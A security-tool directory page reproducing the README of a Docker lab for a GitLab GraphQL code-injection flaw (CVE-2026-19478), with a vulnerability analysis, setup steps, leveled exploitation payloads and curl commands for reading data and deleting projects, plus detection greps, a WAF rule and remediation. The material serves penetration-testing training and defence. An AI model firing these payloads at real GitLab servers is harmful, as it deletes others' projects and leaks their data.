Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Gitlab-CVE-2026-19478 — Dockerized exploit lab and script for CVE-2026-19478, a critical unauthenticated GitLab GraphQL code injection enabling arbitrary Ruby method calls, project deletion, and data exfiltration. | Kitploit
Tools/GitHubGitHub/punitdarji/gitlab-cve-2026-19478
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingPenetration TestingLearning & EducationLabs & Practice
GitHubpunitdarji/gitlab-cve-2026-19478

Gitlab-CVE-2026-19478

Dockerized exploit lab and script for CVE-2026-19478, a critical unauthenticated GitLab GraphQL code injection enabling arbitrary Ruby method calls, project deletion, and data exfiltration.

View Repository
2 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-19478 — GitLab GraphQL @gl_introduced Directive Injection

Unauthenticated Remote Code Injection via GraphQL Directive in GitLab CE/EE — Delete Any Public Project With a Single HTTP Request

A hands-on penetration testing lab that reproduces CVE-2026-19478, a critical (CVSS 9.4) vulnerability in GitLab's GraphQL API. The @gl_introduced directive allows unauthenticated attackers to execute arbitrary Ruby methods on server-side objects — including project deletion, data exfiltration, and ownership transfer — with zero authentication.

This lab runs a real vulnerable GitLab CE 19.2.0 instance in Docker for realistic exploitation practice.

Table of Contents

  • Vulnerability Summary
  • How the Exploit Works
  • Attack Flow Diagram
  • Lab Setup
  • Exploitation Guide
  • Exploit Script Usage
  • Detection and Indicators of Compromise
  • Remediation
  • References
  • Disclaimer
  • Connect With Us

Vulnerability Summary

Download Tool
FieldValue
CVE IDCVE-2026-19478
CVSS Score9.4 (Critical)
ProductGitLab Community Edition (CE) / Enterprise Edition (EE)
Vulnerability TypeCode Injection / Arbitrary Method Execution (CWE-94)
Attack VectorNetwork (Remote)
AuthenticationNone required
User InteractionNone
Attack ComplexityLow
Affected Versions18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3
Patched Versions18.11.11, 19.0.8, 19.1.6, 19.2.4
Discovered Byhiimguardian (via HackerOne)
Patch DateAugust 17, 2026

Impact

An unauthenticated remote attacker can:

  • Delete any public project permanently
  • Exfiltrate internal data, admin tokens, and secrets
  • Modify project visibility, ownership, and settings
  • Execute arbitrary Ruby methods on the server-side Project model
  • Archive or transfer projects without authorization

How the Exploit Works

The @gl_introduced Directive

GitLab uses a custom GraphQL directive @gl_introduced(version: "X.Y") to support rolling deployments. When a newer GitLab version adds a field to the GraphQL API, older instances handle queries referencing those new fields gracefully by returning null instead of erroring.

The Vulnerable Code Path

File: lib/gitlab/graphql/version_filter/future_field_fallback.rb (Lines 14-36)

Step-by-step breakdown:

  1. FutureFieldFilter scans incoming GraphQL queries. When a field has @gl_introduced(version) with a version newer than the current server, it strips the field and sets context[:contain_future_fields] = true.

  2. IntroducedTracer restores the original query document at execution time, putting the stripped fields back into the AST.

  3. FutureFieldFallback#get_field intercepts every field lookup during execution. It checks three conditions:

    • Is contain_future_fields flag set? ✅
    • Is the field absent from the schema? ✅
    • Does the name NOT start with __? ✅
    • Is the field name safe? ❌ No check exists!
  4. When all three checks pass, it synthesizes a new GraphQL::Schema::Field with no resolver class.

  5. In graphql-ruby, a field without a resolver resolves by calling object.public_send(field_name) on the underlying Ruby object — converting the attacker's field name into an arbitrary method call on the Project ActiveRecord model.

The Fix (19.2.4+)

GitLab's patch replaces implicit method dispatch with an explicit NilResolver that returns nil unconditionally, preserving rolling-deploy compatibility while eliminating arbitrary method execution:

root@kitploit:~
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL

# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
  resolver_class: NilResolver)  # ← always returns nil

Attack Flow Diagram

root@kitploit:~
                    ATTACKER (unauthenticated)
                              │
                              │  POST /api/graphql
                              │  { project(fullPath: "victim/repo") {
                              │      name
                              │      destroy @gl_introduced(version: "99.0")
                              │  }}
                              │
                              ▼
               ┌──────────────────────────────┐
               │     GitLab GraphQL API        │
               │     (no auth required)        │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   1. FutureFieldFilter        │
               │   "destroy" has @gl_introduced│
               │   version 99.0 > 19.2.0      │
               │   → Strip field              │
               │   → Set contain_future_fields │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   2. IntroducedTracer         │
               │   → Restore original query   │
               │   "destroy" is back in AST   │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   3. FutureFieldFallback      │
               │   "destroy" not in schema? ✓  │
               │   Flag set? ✓                 │
               │   Not __introspection? ✓      │
               │   → Synthesize field          │
               │   → NO RESOLVER attached      │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   4. graphql-ruby resolution  │
               │   No resolver found →         │
               │   object.public_send(:destroy)│
               │                               │
               │   Project.find("victim/repo") │
               │          .destroy()           │
               │                               │
               │   ██ PROJECT DELETED ██        │
               └──────────────────────────────┘

Lab Setup

Prerequisites

  • Docker and Docker Compose installed
  • Minimum 4 GB RAM available for Docker (GitLab is resource-heavy)
  • Python 3 (for the exploit script)
  • Web browser or curl / httpie for API testing

Quick Start — Real GitLab CE 19.2.0 (Vulnerable)

root@kitploit:~
# Clone or navigate to the lab directory
cd CVE-2026-19478

# Pull and start the vulnerable GitLab instance
docker compose up -d

# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable

# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh

Access Points

ServiceURLCredentials
GitLab Web UIhttp://localhostroot / P@ssw0rd123!
GraphQL APIhttp://localhost/api/graphqlNone required
GraphQL Explorerhttp://localhost/-/graphql-explorerLogin required
SSHlocalhost:2222—

Lightweight Alternative (Simulated)

For machines with limited resources or for faster startup:

root@kitploit:~
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000

Stop / Full Reset

root@kitploit:~
# Stop the lab
docker compose down

# Full reset (removes all data volumes)
docker compose down -v

Exploitation Guide

Level 1 — Reconnaissance (Unauthenticated)

Check the server version:

root@kitploit:~
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}

Enumerate public projects via GraphQL (no auth):

root@kitploit:~
{
  projects(membership: false) {
    nodes {
      id
      name
      fullPath
      visibility
    }
  }
}

Discover the @gl_introduced directive via schema introspection:

root@kitploit:~
{
  __schema {
    directives {
      name
      description
      args { name type { name } }
      locations
    }
  }
}

Level 2 — Trigger the Vulnerability

Use @gl_introduced with a future version on a field that doesn't exist in the schema:

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    class @gl_introduced(version: "99.0")
  }
}

If vulnerable, class returns the Ruby class name ("Project"), confirming arbitrary method dispatch.

Level 3 — Data Exfiltration

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    object_id @gl_introduced(version: "99.0")
    to_s @gl_introduced(version: "99.0")
  }
}

Level 4 — Destructive Exploitation

WARNING: The following will permanently delete the project.

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    destroy @gl_introduced(version: "99.0")
  }
}

Other exploitable methods on GitLab's Project model:

MethodImpact
destroyPermanently deletes the project
archiveArchives the project
transferTransfers project ownership
attributesDumps all database attributes
repositoryAccesses the repository object
membersLists project members

curl Examples

root@kitploit:~
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq

# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq

# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq

Detection and Indicators of Compromise

Log Analysis

root@kitploit:~
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log

# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
  awk -F. '$1 > 20 {print}'

Indicators of Compromise (IOC)

IndicatorDescription
@gl_introduced(version: "99.0")Exploitation attempt with unrealistically high version
Field names: destroy, delete, update, transferTargeting destructive ActiveRecord methods
Unexpected project deletionsProjects disappearing without admin action
Visibility changesPublic projects suddenly becoming private
Ownership transfersProjects transferred to unknown users

WAF Rules

Block GraphQL requests containing @gl_introduced with high version numbers:

root@kitploit:~
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
    return 403;
}

Remediation

  1. Patch immediately — Update to GitLab 18.11.11+, 19.0.8+, 19.1.6+, or 19.2.4+
  2. WAF mitigation — Block GraphQL requests containing @gl_introduced with high version strings at the reverse proxy/WAF level
  3. Audit logs — Review project activity logs for unauthorized modifications, deletions, or visibility changes
  4. Access logs — Search web server logs for exploitation patterns (see Detection section above)
  5. Incident response — If exploitation is confirmed, check for data exfiltration and restore deleted projects from backups


Poc credits

CVE-2026-19478

References

  • GitLab Security Advisory — August 17, 2026
  • OWASP A03:2021 — Injection
  • CWE-94: Improper Control of Generation of Code (Code Injection)
  • OX Security: GitLab GraphQL CVEs Analysis
  • Help Net Security: Critical GitLab Flaw
  • CyCognito: Emerging Threat Advisory
  • The Hacker News: Critical GitLab GraphQL Flaw

Disclaimer

This lab is built exclusively for authorized security education and penetration testing training. It must only be used in controlled, isolated environments that you own or have explicit written authorization to test.

Do not use the techniques, tools, or exploit code from this lab against any system without proper authorization. Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide.

The authors and contributors are not responsible for any misuse or damage caused by this lab or its contents.


Connect With Us

Follow on Instagram   Connect on LinkedIn

Follow @pwnsystem on Instagram for daily cybersecurity tips, CVE breakdowns, and exploit walkthroughs.
Connect with Punit Darji on LinkedIn for professional security insights and lab updates.